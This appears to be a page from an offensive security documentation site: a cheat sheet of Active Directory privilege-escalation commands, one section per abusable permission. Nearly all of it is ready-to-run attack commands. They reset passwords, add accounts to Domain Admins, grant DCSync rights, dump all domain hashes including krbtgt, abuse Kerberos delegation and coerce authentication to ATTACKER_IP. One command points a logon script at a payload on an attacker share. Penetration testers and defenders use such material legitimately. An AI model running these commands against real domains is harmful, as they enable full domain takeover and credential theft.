Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
GenericAll
Reset target user password.
Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)
rpcclient -U "DOMAIN/USER%Password" DC01 -c "setuserinfo2 TARGET 23 'NewP@ss123'"
Add-DomainGroupMember -Identity 'Domain Admins' -Members TARGET
net rpc group addmem "Domain Admins" "TARGET" -U "DOMAIN/USER%Password" -S DC01
ForceChangePassword
Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)
rpcclient -U "DOMAIN/USER%Password" DC01 -c "setuserinfo2 TARGET 23 'NewP@ss123'"
impacket-changepasswd 'DOMAIN/ATTACKER:Password@DC01' -newpass 'NewP@ss123' -altuser TARGET -altdomain DOMAIN
AddMember
Add-DomainGroupMember -Identity 'Domain Admins' -Members TARGET
net rpc group addmem "Domain Admins" "TARGET" -U "DOMAIN/USER%Password" -S DC01
GenericWrite
Write a SPN to Kerberoast the target.
Set-DomainObject -Identity TARGET -Set @{serviceprincipalname='nonexistent/BLAH'}
impacket-addspn -u 'DOMAIN\ATTACKER' -p 'Password' -s 'nonexistent/BLAH' -t 'TARGET' DC01
Set-DomainObject -Identity TARGET -Set @{scriptpath='\\ATTACKER_IP\share\payload.ps1'}
WriteDACL
Grant DCSync rights to controlled user.
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity ATTACKER -Rights DCSync
Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity ATTACKER -Rights All
WriteOwner
Take ownership then grant full control.
Set-DomainObjectOwner -Identity TARGET -OwnerIdentity ATTACKER
Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity ATTACKER -Rights All
AllExtendedRights
Reset target password.
Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)
Set-DomainObject -Identity TARGET -Set @{serviceprincipalname='fake/spn'}
Get-DomainSPNTicket -SPN 'fake/spn' | ConvertTo-Hashcat
DCSync (GetChanges + GetChangesAll)
Dump all domain hashes.
impacket-secretsdump 'DOMAIN/USER:Password@DC01'
impacket-secretsdump 'DOMAIN/USER:Password@DC01' -just-dc-ntlm
impacket-secretsdump 'DOMAIN/USER:Password@DC01' -just-dc-user krbtgt
impacket-secretsdump 'DOMAIN/USER@DC01' -hashes LMHASH:NTHASH -just-dc-ntlm
Unconstrained Delegation
Monitor for incoming TGTs (run on compromised host with unconstrained delegation).
.\Rubeus.exe monitor /interval:5 /nowrap
impacket-printerbug 'DOMAIN/USER:Password@DC01' ATTACKER_IP
impacket-petitpotam ATTACKER_IP DC01
.\Rubeus.exe ptt /ticket:<base64>
Constrained Delegation (S4U2Proxy)
Impersonate Domain Admin to target service.
.\Rubeus.exe s4u /user:SVC_ACCOUNT /rc4:NTHASH /impersonateuser:Administrator /msdsspn:cifs/DC01.domain.local /ptt
impacket-getST -spn 'cifs/DC01.domain.local' -impersonate Administrator 'DOMAIN/SVC_ACCOUNT' -hashes LMHASH:NTHASH
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass 'DOMAIN/[email protected]'
Resource-Based Constrained Delegation (RBCD)
Add attacker-controlled computer to target’s msDS-AllowedToActOnBehalfOfOtherIdentity.
Set-DomainRBCD -Identity TARGET_COMPUTER -DelegateFrom ATTACKER_COMPUTER
impacket-rbcd -f ATTACKER_COMPUTER -t TARGET_COMPUTER -dc-ip DC01 'DOMAIN/USER:Password'
impacket-getST -spn 'cifs/TARGET_COMPUTER.domain.local' -impersonate Administrator 'DOMAIN/ATTACKER_COMPUTER$' -hashes LMHASH:NTHASH
References